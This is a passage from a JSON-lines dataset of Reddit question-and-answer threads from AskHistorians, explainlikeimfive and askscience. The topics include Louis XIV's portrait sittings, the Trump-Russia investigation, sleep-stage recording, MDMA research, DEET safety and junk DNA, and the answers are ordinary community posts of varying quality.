of them in the Dardanelles. First of all the Dardanelles are comparatively shallow. The Black Sea is notorious for preserving wooden ships almost indefinitely but that is due to its depth and hypoxic conditions there. The Dardanelles are much more shallow and the current there is strong, the bottom does not have the hypoxic conditions required. Simply put, any organic evidence would long since have been destroyed. \n\nAs for other things like anchors, well, it's one of the most heavily trafficed sea lanes in the world and has been so for 3000 years. Even if you were to find an anchor or some other inorganic part, how would you know it was from Xerxes' crossing?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "e7zt7q", "title": "How long would Louis XIV have had to stand still when his portrait got done?", "selftext": "So my girlfriend is an aspiring history teacher, currently doing an internship, and recently held a lesson on kings and monarchs. This also included Louis XIV...and one of the students asked exactly the question from the title - and we have no idea what the answer would be. Does anyone have any idea how much time that would have taken? Or how long a painter would need for such a painting in general?  \nThanks in advance!  \n\n\nFor reference, the portrait in question: [_URL_1_](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/e7zt7q/how_long_would_louis_xiv_have_had_to_stand_still/", "answers": {"a_id": ["fa9s5hk"], "score": [70], "text": ["In terms of the portraits you referenced, Louis XIV would have sat for an hour or two a few times throughout the process, starting with sketching sessions with the artist, and progressing to the full-scale painting. That said, the vast majority of portrait painting was done without the sitter (monarch or otherwise) present. \n\nOnce a suitable likeness had been established to the sitter\u2019s satisfaction, the sketches would be translated to the canvas and the artist would be doing most of the work in his or her studio. Clothes may have been loaned to the artist to put on a mannequin or to have an assistant/model wear while posing, or the artist would have their own collection of clothes to reference. But typically, the artist worked the majority of the painting without the subject there. \n\nAnother common practice for monarchs was distributing a face template to artists. These were guidelines set by the monarch for how their likeness was to be represented in portraits. Queen Elizabeth I made use of these templates throughout her reign, most typically using stylized features based on her face when she was in her 20s, requiring them to be used well into her 60s. This wasn\u2019t unique to her, however, nor was it as simple as vanity. (One gorgeous example of an artist using a face template is [this portrait of QEI](_URL_1_) currently in the collection of the Weiss Gallery in London.) The likeness of the monarch was an official document, and as such, it had to be represented consistently, which was trickier back before the days of photography (lots of variation in skill from artist to artist, as you might imagine. For every great master like Holbein there were dozens more very average painters who nonetheless were in the employ of the court at any given time). These face templates gave artists who received commissions for official portraits, but may never have had the ability to sit one on one with the monarch, a way to consistently depict their likeness.\n\n >  In 1563, just over five years into Elizabeth's reign, and presumably after the present portrait type had been disseminated, Sir William Cecil drafted a proclamation designed to control the production of the monarch's image, forbidding further portraits of Elizabeth being made until an appropriate model (in the form of a face pattern) could be provided to artists to copy from. After this, \u2018hir Majestie will be content that all other painters, or engravers\u2026shall and maye at ther pleasures follow the sayd patron or first portraictur'.\n\u2014  [The Weiss Gallery at London Art Week](_URL_0_) \n\nThese face patterns were used well into the 18th-century for heads of state, so it\u2019s quite possible that Louis XIV\u2019s portraitists made use of them as well. In the case of Hyacinthe Rigaud, the painter responsible for the portrait of Louis XIV you reference, it is equally probable that he would have been granted sitting sessions with the King, as he was a very big deal as an artist and one of Louis\u2019 favorite portraitists. But either way, Louis wouldn\u2019t have sat for the entire painting process."]}, "title_urls": [], "selftext_urls": ["https://commons.wikimedia.org/wiki/File:Louis_XIV_of_France.jpg#/media/File:Louis_XIV_of_France.jpg", "https://commons.wikimedia.org/wiki/File:Louis\\_XIV\\_of\\_France.jpg#/media/File:Louis\\_XIV\\_of\\_France.jpg"], "answers_urls": [["http://www.alaintruong.com/archives/2017/07/03/35443121.html", "https://p7.storage.canalblog.com/79/01/119589/116544572_o.jpg"]]}
{"q_id": "6fm7ki", "title": "what is the big investigation with russia attempting to find? and if they find wrong doing by the president what can really be done?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6fm7ki/eli5_what_is_the_big_investigation_with_russia/", "answers": {"a_id": ["dij7dc3", "dij7duk", "dijdzju", "dijhkmy", "dijip1d", "dik95sd", "dikeapy"], "score": [152, 14, 33, 6, 8, 5, 13], "text": ["They are trying to find out if the Trump campaign violated the foreign policy laws.  If they did, as the Nixon campaign violated burglary laws, the President could be impeached by the House.  He would then be tried in the Senate, and if he lost he would be removed from office.  This would \"really do\" something.", "The investigations are about the campaign and whether things were reported legally.  That's all about whether people were following rules, and ultimately won't affect the President much (I mean, he's practically a saint according to his followers.  He really was right that he could shoot someone on fifth avenue and his followers wouldn't care).\n\nThe bigger deal is if he told FBI Director Comey to stop investigating National Security Advisor Michael Flynn.  That would be obstruction of justice, and it's the exact thing that made Nixon resign (when he was trying to get the Watergate investigation stopped).", "1. Exactly how and to what extent did Russia hack into/meddle with the Presidential election?\n\n2. How much did the Trump administration know about/benefit from/collude with #1?\n\n3. Did Trump try to impede a true investigation into #1 and 2?\n\n4. Who is leaking all the not supposed to be leaked info re: all of this?\n\n2  &  3 could possibly lead to impeachment, depending on the politics. If Trump is impeached, we get President Pence, unless he turns out to be guilty as well.", "At its very core, this is about faith in the democratic process.   The faith of the populace that their votes are counted and the candidate that wins reflects the will of the people.  \n\nIf Russia \"hacked\" the system by exposing secrets and running a disinformation campaign online to manipulate the outcome.\n\nIf the winning candidate knew of this plot and willfully benefited from it.  \n\nAnd on a broader scale, is this a covert action to undermine all western elections to bring about a more favorable political climate for Russia (see similar actions in the recent French election and other.)\n\nOur government works because people believe it works.   Take away that faith and democracy crumbles. ", "Three primary things - the election, Trump's appointments and attempts to give security clearances to \"compromised\" people, and Trump's obstruction of justice into the investigation over the first two things. That can lead to claims of perjury, witness tampering, and obstruction of justice. \n\nThe investigation into the election is trying to find out if Trump's campaign coordinated and worked with a foreign power (Russia) during the election, which could lead to various campaign finance law violations, a crime against conspiring with others to deprive people of the \"right to honest services\", crimes against public corruption, and violation of the Campaign Reform Act of 2002 that makes foreign spending to influence a federal election a crime (and any American assisting with that would be charged too).  \n\nFor the appointments (stemming from Michael Flynn), the Logan Act bars private citizens from obstructing foreign relations (but never really gets used) - it's more likely that there will be charges of lying to FBI investigators and perjury regarding testimony to Congress, and charges of being and unregistered foreign lobbyist or agent. General \"failure to be honest\" crimes related to the need to make full and honest disclosures before getting appointments to government positions. ", "So far absolutley nothing. It has been a severe provocation by media abd the left to try to Highlight the only possible worst case scenario with Trump. \n\nI'm not American, I have no aleigance. But statistically America has been doing great since Trump took over even they day he decided not to sign the Paris agreement the D.O.W index rose several points.\n\nThe fact of the matter is instead of talking about the president like a human being, there is this major focus on making him seem awful, so even tho Obama and Hillary both said anyone who questions the electrol system of America doesn't deserve to be president, they are doing exactly that now. \n\nIt's a load of hype over nothing and Russia is laughing away at the Americans who think it is some huge scheme. ", "The Election has three major parts, and there's a fourth part that is slowly growing like a malignant plot tumor.\n\nThe First Part is: Did Russia intentionally interfere with American Media (Traditional **and** Social) in order to manipulate the results of our Presidential Election?\n\nThe Second Part is: Did the Trump Campaign cut a deal with Russia to get them to do this, in exchange for future favors if Trump won the election?\n\nThe Third Part is: Did Donald Trump **know** about his campaign staff cutting that deal?\n\nIf the first is true, then we need to take precautions against future interference by Russia.\n\nIf the second is true, then people committed Felonies. Suffice it to say, the American Legal System takes a poor view of *asking* for a Foreign State to interfere in our elections. I'm not familiar with the specific laws involved, but this could potentially end in Life-Sentences for those who cut the deal.\n\nIf the third is true, then Donald Trump committed a Felony. It *might* also be possible to argue that he committed Treason in doing so, having given aid to the enemy. We're not at war with Russia at the moment... but they are a state which we have had a rather *rough* relationship with for the past ~60 years.\n\nThis brings us to the Fourth: Is President Donald Trump attempting to interfere with the investigation?\n\nThis is one of the points where Donald Trump could be hanging himself. If he interfered with the investigation into Russia as it relates to his campaign *or* current staff, then he would be committing a Obstruction of Justice *using* Presidential Power. Obstruction of Justice is a Felony, and justification for an impeachment.\n\nNow, here's where things start looking like Trump has tied a noose around his own neck. He admitted on an interview that he fired Director Comey to try and make his Russia Investigation problems *go away*. That means that the Fourth question is almost certainly True. However, **this means nothing at the moment.**\n\nThe United States Congress holds the power to Impeach a sitting President. Congress is the ultimate arbiter of whether or not the President has committed a Crime. If they choose not to file Articles of Impeachment, there's nothing that can be done.\n\nIt's safe to assume that Republicans *will not* impeach Trump in the short-term. Trump is still valuable to the Republican Party, since he's their key to holding onto the Rust Belt and a few other regions. *However*, Trump is also becoming increasingly radioactive as his presidency goes on. In the future, the Republican Party *may* consider  Trump *too toxic* to leave in Office... and trade him out for Mike Pence.\n\nIt's also safe to assume that Democrats *will not* impeach Trump if they win the Midterms. Trump has a combination of Impeachment and Assassination insurance in the form of his vice president, Mike Pence. Democrats **do not** like Trump, but they are likely to prefer him to Mike Pence. This is because Mike Pence is actually *competent* and *patient* enough to get things done. Of course, this whole situation changes if Mike Pence is implicated by the investigation as well. If they could impeach the VP and the P, then the Democrats might very well do it *if* they get control of the Congress."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "cgzuw8", "title": "why would a senator vote against the permanent funding for 9/11 first responders?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cgzuw8/eli5_why_would_a_senator_vote_against_the/", "answers": {"a_id": ["eun1etm"], "score": [2], "text": ["The bill was voted and passed 97-2. \n\nThe two senators who did not vote yes on the bill (Rand Paul and Mike Lee) both proposed amendments to the bill which were shot down quickly and the bill passed.\n\nRand Paul was doing obvious grandstanding quite a bit saying the bill is fake furor over a problem that has already been addressed (there are other bills already in place), and that the amount of money spent on this particular bill needs to be offset by other cuts, because the cost is too high and he doesn't want to increase spending/debt.\n\nPaul Lee proposed a similar idea to limit the cost, which was also rejected.\n\nAlmost certainly, they voted no to get political attention and well, they certainly are gonna get attention from it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6bm0n5", "title": "What are the minimum technical requirements to reliably track sleep phases?", "selftext": "I was wondering what the bare minimum technical requirements would be in order to reliably track the occurance of different sleep phases, especially start and end of REM sleep. \n\nE.g. minimum number of sensors, their placement, their attributes, the simplest form of \"interpretation\", etc.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6bm0n5/what_are_the_minimum_technical_requirements_to/", "answers": {"a_id": ["dhp2pny"], "score": [5], "text": ["[Here are the official specifications from the American Academy of Sleep Medicine](_URL_0_).\n\nThe gold standard is a combination of EEG, EOG, and EMG. Prior to the Rechtschaffen and Kales manual, there was not standard combination of these or standard definitions of sleep stages. [Here's how R & K recommended placement of these sensors](_URL_1_). R & K remained dominant until the 2007 rules released by the American Academy of Sleep Medicine, which is really not a huge change from R & K - formally added EEG sites at O1/2 and F3/4, combined stages 3 & 4, and includes rules for breathing and movement events. It also includes technical specifications for digital recordinsg.\n\nBut really getting down to what you *really* need: \n\n* one EEG electrode, ideally at C3/z/4, but doesn't really matter, referenced to mastoid or earlobe, or do a bipolar recording of say F3-Oz or similar\n* two EOG electrodes, 1cm placed lateral to the outer canthus of each eye, one placed 1cm above and the other 1cm below. These can be combined into a single bipolar channel for simplicity\n* two submental electrodes for EMG\n* ground (typically forehead)\n\nThe first two channels should be filtered 0.3hz to 35hz (not critical to be precise if you're really roughing in). EMG should be filtered 10-100hz. Both should be sampled at 128hz, though faster is better and slower can be workable. Digital resolution should be at least 12 bits, and you'll want to have a high resolution display (anything modern should do fine).\n\nThat's all for direct measurement of physiological signs used by gold standard sleep stage scoring systems. Give me those three things: one EEG, one bipolar EOG, one bipolar submental EMG,and . Indirect systems also exist, but that gets funky, proprietary, and often becomes unreliable for assessing people with disturbed sleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.aasmnet.org/scoringmanual/", "http://www.edogawa-u.ac.jp/img/media/583.png"]]}
{"q_id": "2h58ed", "title": "Is it possible to change your body odor?", "selftext": "For personal reasons, obviously, because if you imagine the smell of death (a rotting corpse), you now know what my underarms smell like at the end of the day.\n\nI thought that the smell was caused by bacteria living on your skin/underarm hair, which makes it seem like you should be able to... I don't know, change them out for less smelly ones if you shave and then kill everything with bleach or something. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2h58ed/is_it_possible_to_change_your_body_odor/", "answers": {"a_id": ["ckphi47", "ckptkfw"], "score": [11, 3], "text": ["Yes and no. I am speaking outside of my expertise here but this is an interesting question, and my purpose is to start a discussion. \n\nEveryone's skin hosts a wide range of bacteria and fungi. See [skin flora](_URL_0_). We all have slightly differing skin conditions (variations in pH, moisture, and sebum emissions, protein emissions, diet, etc) that favor different species. That, plus certainly a few other factors, determines our skin flora and ultimately our body odor. I don't know what the other factors are and I hope someone more qualified can chime in here. \n\nIt is possible to radically reduce the amount of microbes on your skin (60-80% reduction is possible, see wiki article above and the [source](_URL_1_) they link to), and it is possible to introduce a new colony in its place. \n\nThe bacteria you introduce, however, will only last temporarily, as the whole reason you have the bacteria you have in the first place is your own skin conditions. Eventually your natural balance will be restored and your body odor will come back. (It is possible in some cases, however, to identify the source of your specific body odor in a more targeted manner and see if it can be eliminated.)\n\nI recall a case study (N=1, so taken with a grain of salt) of a man who performed a skin bacteria transfer. He shaved his armpits, sterilized his skin with dilute bleach and alcohol, and then \"transferred\" bacteria from his wife's armpits to his. (Basically he just rubbed his armpits with hers.) He reported a drastic reduction in body odor for a month or so until the process had to be repeated. I will try to find the source for this. ", "If you trim the hair it can greatly help and if you need to, go to the doctor and get prescription strength anti perspirant.  \n\nYou can also try chlorophyll pills, patients with colostomy bags often take them to reduce the odor and they also make people have very low to no body odor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Skin_flora#Bacteria", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC523567/pdf/0085-03.pdf"], []]}
{"q_id": "2p6f0b", "title": "why do a lot of websites ask the moment they load how you'd rate your user experience so far? it's like a hotel asking how you'd rate their service before you even check into the room.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2p6f0b/eli5_why_do_a_lot_of_websites_ask_the_moment_they/", "answers": {"a_id": ["cmtrove", "cmtws9r", "cmtyiou"], "score": [2, 13, 3], "text": ["Unlike a hotel room, a website has no idea how long you are staying.  They need to get that invite in front of you before you move on...", "Because implementing JavaScript code via copy/paste is easier than knowing how/when to use it. ", "These user experience surveys are a management fad that took off in the past 10 years.  What causes what you describe is a combination of three types of people involved here:\n\n1. Companies who sell this kind of satisfaction survey products to other companies.\n2. Executives and senior managers at companies (or government agencies) who fall in for the fad.\n3. Regular IT employees of the buyer companies who are responsible for adding the product to websites.\n\nThe sellers don't give a shit if the thing actually works if they can sell a lot of it.   The execs and senior managers who buy it for their companies don't give a shit if it actually works, only if it makes them look good to their bosses.  And the regular IT folks who install it on the companies' websites just don't give a shit.\n\nThe day somebody complains that it doesn't work the sellers and the buyers just say that there's thousands and thousands of others doing the exact same thing they are.  Life lesson: most people are kinder to those who were wrong in a crowd that to those who were correct but all by themselves.  \n\n(And BTW, the goddamn surveys can't possibly work.  [This is the reason.](_URL_0_))"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Self-selection_bias"]]}
{"q_id": "89l3bo", "title": "Did Leibniz really know virtually everything as my Logic book states?", "selftext": "I found the statements below in my logic textbook. To me, they sound absurd. Surely, there was information and important schools of thought outside of Enlightenment Europe. What historical evidence (if any) is there to support a counterclaim, that in fact, Leibniz was not a true know it all. \n\nI included a second claim from the book that suggests Leibniz understood the \"relation between soul and body\".  Are claims like this still common in academic circles? Is it fair to say, these claims are Eurocentric? Was Leibniz's philosophy even widely accepted in his own time?  \n\n\"Gottfried Wilhelm Leibniz was a polymath who knew virtually everything that could be known at the time about nearly every area of intellectual endeavor.\"\n followed by \"in metaphysics he created the famous theory of monads which, among other things, explained the relation between the soul and the body.\n\nHurley, Patrick J.. A Concise Introduction to Logic (Page 324). Wadsworth Publishing. Kindle Edition. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/89l3bo/did_leibniz_really_know_virtually_everything_as/", "answers": {"a_id": ["dwshs9j"], "score": [3], "text": ["You should post this question at r/philosophy, for a longer answer. Leibniz wrote a lot ( so much that a great deal is apparently not cataloged), and someone there might specialize in him who could say more.\n\nAs to whether he defined the relation between soul and body: that was one of his goals. Leibniz was a system builder. He wanted to describe how the world worked, at a very basic level, and so created a hypothetical system and then argued why it would work.  This hypothetical system was supposed to deal with a very difficult problem: God exists. but how does God actually operate, to effect changes and control things?  Spinoza had effectively argued that God could not be a personal God, a man in a white robe intervening with miracles, because miracles made no sense ( for example, if one miracle happens to save a holy bishop, wouldn't God continue sending miracles to continue to save the bishop?)   By having God operate at an atomic level, through monads, Leibniz was trying to reserve a place for a personal God, someone who could seem human.  The alternative, an impersonal God , was very disagreeable. And still is, to many conservative Christians.\n\nAs to knowing virtually everything in his age, Leibniz was definitely one of the brightest minds of his time,  and knew it.  He was a professional mind: always looking for useful ideas that someone important would buy, that would convince  king or duke that Leibniz should have a job around their palace, or in their library.....  An argument for a personal God was just such an idea, desired by many people, in order to fit with the Christian theology of the time, but he also proposed many solutions to many other problems: for example, Louis XIV wanted to wage war in Europe, which was damaging.  Leibniz thought it would be possible to send Louis off on a crusade into the middle east, against the Turks.  And of course, Leibniz was a co-discoverer of calculus, along with Newton. \n\n\n[here](_URL_0_) is a nice summary of Spinoza vs Leibniz's theology.  A very well-done book on Leibniz's career and how he was influenced by Spinoza is Matthew Stewart's *The Courtier and the Heretic: Leibniz, Spinoza and the Fate of God in the Modern World*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://philogb.github.io/notes//spinoza-leibniz-god"]]}
{"q_id": "bhywqb", "title": "i was led to believe that chronic mdma use caused permanent brain damage. why are scientists studying it as a treatment for ptsd/depression?", "selftext": "I've read from a few veritable sources that using MDMA (commonly known as \"ecstasy\") just a few times per year could lead to permanent neurological damage. So when I see articles about scientists trying to use it in drug therapy, I get confused.\n\nAdmittedly, I haven't read 50% of the articles I'm referencing (just the clickbait headlines), and the ones I read didn't seem to have been written by scientists considering their depth, so maybe there's just something being said that I'm missing out on.\n\nAre the scientists using a different chemical which just has certain similarities to MDMA with less deleterious effects? Or perhaps just a lower dose of the original than what would commonly be found in recreational hits?\n\nAny help is greatly appreciated.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bhywqb/eli5_i_was_led_to_believe_that_chronic_mdma_use/", "answers": {"a_id": ["elwqz8r", "elwrrhs", "elwtn8s", "elwxku0"], "score": [17, 12, 2, 3], "text": ["It's not the substance that makes the poison, it's the dose. Generally, doses of illicit substances that are being used for medicinal purposes are much lower than what is used for recreational purposes.", "Great episode of Science Vs. about this topic. Apparently taking a controlled amount of MDMA in advance of talk therapy helps people open up about trama without experiencing the negative feelings of the trauma in the moment. Give it a listen!", "I read some articles about people testing LSD to help with PTSD/Depression. Are you sure its MDMA they are testing? I missed that read.", "Per wiki:\n\n >  As of 2015, the long-term effects of MDMA on human brain structure and function have not been fully determined. However, there is consistent evidence of structural and functional deficits in MDMA users with a high lifetime exposure. In contrast, there is no evidence of structural or functional changes in MDMA users with only a moderate lifetime exposure."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "kecvm", "title": "Deet: a deadly neurotoxin, a substance harmless to humans, or somewhere in between?  R/science please enlighten me.", "selftext": "Yesterday I was hiking and a fellow hiker was getting eaten alive by mosquitoes.  I offered him some bug repellent that had deet. He proceeded to make what seemed like preposterous claims about deet (instadeath, neurotoxin, will give me every cancer on Earth etc.)  So, what does The Science say on deet.       ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kecvm/deet_a_deadly_neurotoxin_a_substance_harmless_to/", "answers": {"a_id": ["c2jl3am", "c2jl5ks", "c2mrh52", "c2jl3am", "c2jl5ks", "c2mrh52"], "score": [12, 32, 2, 12, 32, 2], "text": ["[Here](_URL_0_) is an extensive document from the EPA.  It covers various toxicology/cancer assessments.   Pages 6-31 are what your are looking for (make sure to note when they are giving it orally).   \n\nHere is the final conclusion:  \n\n\"In summary, the Agency concludes that, based on the currently available information, the use of DEET as an insect repellent does not pose a significant health risk to the general U.S. population for the following reasons:  \n(1) DEET is not believed to be acutely toxic nor carcinogenic, significantly developmentally toxic nor mutagenic at the doses tested.   \n(2) The available data do not support a direct link between exposure to DEET and reported seizure incidences (14 cases).    \n\nHowever, because DEET is:  \n(1) so widely used among the U.S. population, including children;  \n(2) is one of the few residential-use pesticides that is applied\ndirectly to the skin; and   \n(3) has been thought to be associated with incidents of seizure, \n\nthe Agency believes that it is prudent to require improved label warnings and restrictions for DEET products.  The Agency believes that such common sense measures will be especially protective of children and other individuals who may be more sensitive to chemical substances\"", "Yes, N,N-diethyl-m-toluamide (DEET) has been shown to have a neurotoxic effect on the central nervous system, specifically by disrupting the function of acetlycholinesterase.   However, as far as I'm aware there is still some debate about whether there is a significant neurotoxic effect in humans from typical application (spraying, rubbing on skin, breathing in) of insect repellants and as far as I know, the latest research has shown that the doses incurred during typical application are not sufficient to cause a neurotoxic effect.  ", "I work for the DEET Education Program, Washington.  We have lots of science-based information on DEET and invite your inquiries.  Some of the CNS studies to which you refer are in vitro with nerve cells extracted from cockroaches.  Other studies including a seven-year retrospective analysis show no definitive relationship between DEET and neurological symptoms.  There was no evidence of interaction with  other chemicals or medications.  There is WAY too much to go into here or I'll be writing a thesis. Perhaps you will be somewhat comforted by the fact that the American Academy of Pediatrics reviewed all data in 2003 and provided updated guidance.  Since that time AAP has noted that infants as young as two months of age can use a DEET-based product with a concentration up to 30%. (Previously AAP had advised 2 years and 10% max.)  The CDC suggests that even pregnant women can use DEET-based products if they are in an area where West Nile virus and other serious insect-borne diseases are endemic.  Want more details on all the studies? Please call 800-789-3300.  We'll make arrangements for you to speak to scientists who have answers to each of these questions.  For now, hope this helps. ", "[Here](_URL_0_) is an extensive document from the EPA.  It covers various toxicology/cancer assessments.   Pages 6-31 are what your are looking for (make sure to note when they are giving it orally).   \n\nHere is the final conclusion:  \n\n\"In summary, the Agency concludes that, based on the currently available information, the use of DEET as an insect repellent does not pose a significant health risk to the general U.S. population for the following reasons:  \n(1) DEET is not believed to be acutely toxic nor carcinogenic, significantly developmentally toxic nor mutagenic at the doses tested.   \n(2) The available data do not support a direct link between exposure to DEET and reported seizure incidences (14 cases).    \n\nHowever, because DEET is:  \n(1) so widely used among the U.S. population, including children;  \n(2) is one of the few residential-use pesticides that is applied\ndirectly to the skin; and   \n(3) has been thought to be associated with incidents of seizure, \n\nthe Agency believes that it is prudent to require improved label warnings and restrictions for DEET products.  The Agency believes that such common sense measures will be especially protective of children and other individuals who may be more sensitive to chemical substances\"", "Yes, N,N-diethyl-m-toluamide (DEET) has been shown to have a neurotoxic effect on the central nervous system, specifically by disrupting the function of acetlycholinesterase.   However, as far as I'm aware there is still some debate about whether there is a significant neurotoxic effect in humans from typical application (spraying, rubbing on skin, breathing in) of insect repellants and as far as I know, the latest research has shown that the doses incurred during typical application are not sufficient to cause a neurotoxic effect.  ", "I work for the DEET Education Program, Washington.  We have lots of science-based information on DEET and invite your inquiries.  Some of the CNS studies to which you refer are in vitro with nerve cells extracted from cockroaches.  Other studies including a seven-year retrospective analysis show no definitive relationship between DEET and neurological symptoms.  There was no evidence of interaction with  other chemicals or medications.  There is WAY too much to go into here or I'll be writing a thesis. Perhaps you will be somewhat comforted by the fact that the American Academy of Pediatrics reviewed all data in 2003 and provided updated guidance.  Since that time AAP has noted that infants as young as two months of age can use a DEET-based product with a concentration up to 30%. (Previously AAP had advised 2 years and 10% max.)  The CDC suggests that even pregnant women can use DEET-based products if they are in an area where West Nile virus and other serious insect-borne diseases are endemic.  Want more details on all the studies? Please call 800-789-3300.  We'll make arrangements for you to speak to scientists who have answers to each of these questions.  For now, hope this helps. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.epa.gov/oppsrrd1/REDs/0002red.pdf"], [], [], ["http://www.epa.gov/oppsrrd1/REDs/0002red.pdf"], [], []]}
{"q_id": "90ajgl", "title": "if we're reading aloud and we encounter the word \"read,\" how do our brains seamlessly decipher the context to determine whether it's the present or past-tense version without needing to pause?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/90ajgl/eli5_if_were_reading_aloud_and_we_encounter_the/", "answers": {"a_id": ["e2oyrvf", "e2oyuln", "e2oyyo9"], "score": [5, 4, 10], "text": ["I would like to add that sometimes we pronounce it in the wrong tense.\n\nBut context is king. With every language.", "When you're reading, you tend to read words in groups of two or three, rather than simply scanning a single word at a time. You might notice that as you're reading this, your eyes are only skipping around a few times for each line, not focusing on a single word and then moving to the next. You can do this due to peripheral vision.", "Our brains don't actually work by storing the words in consecutive order and then making sense of them; our eyes jump all over a line of text, and then our brains create a story model based on what our eyes saw.   When that story model is then recalled into conscious thought, other parts of our brain fill in the details.\n\nSince we don't need to really know the meaning of individual words in a sentence until that last \"fill in the gaps\" step, our brains have plenty of time to derive context and build up a reasonable story framework before it becomes an issue.\n\nThis is a learned skill however, which is why learning readers sometimes really struggle with homonyms."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a1d7pz", "title": "why are we not able to manually controll when to sleep but have to rely on the process of \"falling asleep\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a1d7pz/eli5_why_are_we_not_able_to_manually_controll/", "answers": {"a_id": ["eaosika", "eaotoym", "eaozzw0"], "score": [8, 39, 5], "text": ["Primarily because natural sleep has many factors that trigger it. Also the chemical process of sleeping is simply not instant. ", "Here's a good thing to remember: You are not in control of your brain(this my brain telling me this, not sure what that means). Your brain is an incredibly complex organic machine that uses chemicals as inputs to tell it to do things. With the lack of those chemicals, the brain won't do it. Conscious thought has little control over how and when these chemicals are produced.", "The main modulators of sleep are the hormones melatonin and serotonin which are produced by a gland in your brain called the pineal gland. The interaction between these two will affect how quickly you get to bed and how good your sleep is.\n\nBasically the relationship between these two is quite complex but I\u2019ll try and sum it up;\n\nMelatonin: used for \u201cbody clock\u201d and feelings of tiredness. Is synthesised from serotonin. A lot of over the counter sleeping pills have this substance, and it essentially mimics what your brain would normally release.\n\nSerotonin; responsible for wakefulness and mood among other things. Has different effects (sometimes opposite) when In different parts of the brain. Some drugs that release serotonin (amphetamines) prevent people from getting to sleep.\n\nThese are the 2 main components of regulating when you feel tired and you can\u2019t really actively control them. However you also get build up of products during the day that eventually make you feel tired (e.g adenosine), which is why if you do a lot of strenuous exercise you will feel tired more quickly than not. Also there is some evidence to suggest that your blood sugar (measure of how well you\u2019re fed) affects sleep. As well as other factors like being Iron deficient or anaemic. \n\nSensors in your brain also integrate information such as light and sound subconsciously into your sleep cycle. This is why you\u2019re told not to look at certain types of light, at night e.G laptops. They can prevent you from synthesising the correct hormones that you need to sleep. Basically there\u2019s a lot of very intricate processes, and because of that there\u2019s a lot you can\u2019t control. However having good sleep hygiene can make a huge difference."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "r5bwh", "title": "Would it be effective to remove all nonfunctional junk DNA from human/animal genome?", "selftext": "Well, apart from making it incompatible with his own species.\n\nAccording to several articles I've read, big part of human genome is not relevant to any proteins or any other mechanism in our organism.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r5bwh/would_it_be_effective_to_remove_all_nonfunctional/", "answers": {"a_id": ["c430sck", "c430v74", "c4317ll", "c4319oh", "c431nda"], "score": [5, 2, 99, 22, 3], "text": ["Effective for what exactly? It presumably isn't very costly to have it there or it would already be culled. \n\nI think that more recently the consensus has been that rather than junk, it is actually just 'unknown'.", "Keep in mind that this is just what I remember from my Bio intro class in college, and I am no expert. Someone may need to correct this.\n\nCheck out [this](_URL_2_).\n\nTo add, a lot of what we now call junk DNA could actually serve a purpose and we are just not yet aware of what it is. However, if we can completely prove that every bit of DNA that we think is junk DNA actually is, then that means it serves no purpose, and therefore probably could disappear without consequence. Do keep in mind that there is a difference between [non-coding DNA](_URL_0_) and [junk DNA](_URL_1_).\n\nMy main point is that, by definition, junk DNA serves no purpose or function. However, much of what we call junk DNA could serve a purpose. DNA does not have to be protein coding to serve a purpose.", "There's no such thing as junk DNA, that term has fallen out of favor.  \n\nThere is coding DNA and non-coding DNA (formerly \"junk\").  We're learning that much non-coding DNA may have a structural or regulatory role that we are unaware of.\n\nThat being said, there's a lot of DNA that can be done away with, but doing so wouldn't make any cellular process that much more efficient.  The only process that would really be affected would be replication, and the enzymes that polymerize DNA are so mind-blowingly effective already that a couple million extra base pairs between friends isn't too much of a problem.", "There are people more qualified to answer this, but here is one answer.\n\nFirst, the term \"junk DNA\" is becoming a bit of a lesson for biologists. It's a poor term. More and more functions are being found all the time. We can describe regions of DNA as one of the following: gene, gene regulator (non-coding but important - like promoters), transcribed but not gene coding (microRNAs, etc.), and lastly structurally important (telomeres and potentially \"junk DNA\"). \n\nThe key point is that people used to think if it wasn't a gene, it wasn't relevant. But now people are realizing that even non-gene parts of the genome (most of it!) have functions. Telomeres protect the ends of chromosomes, for example, and have impact on things like aging.  \n\nYour question is mostly targeted toward the last way I mention to classify DNA: structurally important. Let's keep genes, promoters and every part of the genome we know does something (transcribed but not gene coding) and let's even keep telomeres because we know they have a function. There still might be several consequences to having a genome that consisted only of the bare essentials. \n\n* Even regions of DNA that we think do absolutely nothing to regulate genes are probably important for the structure of chromosomes (the packages of DNA we all have). In technical terms, this could be important for the way chromosomes are condensed, the way the chromosome axis is formed (cell division stuff), and the way chromosomes pair up for homologous recombination. Think about structural functions of DNA as the difference between a small car and a pickup truck. The pickup truck has the same engine and parts of a small car, but the added bed has a purely structural function. \n\n* 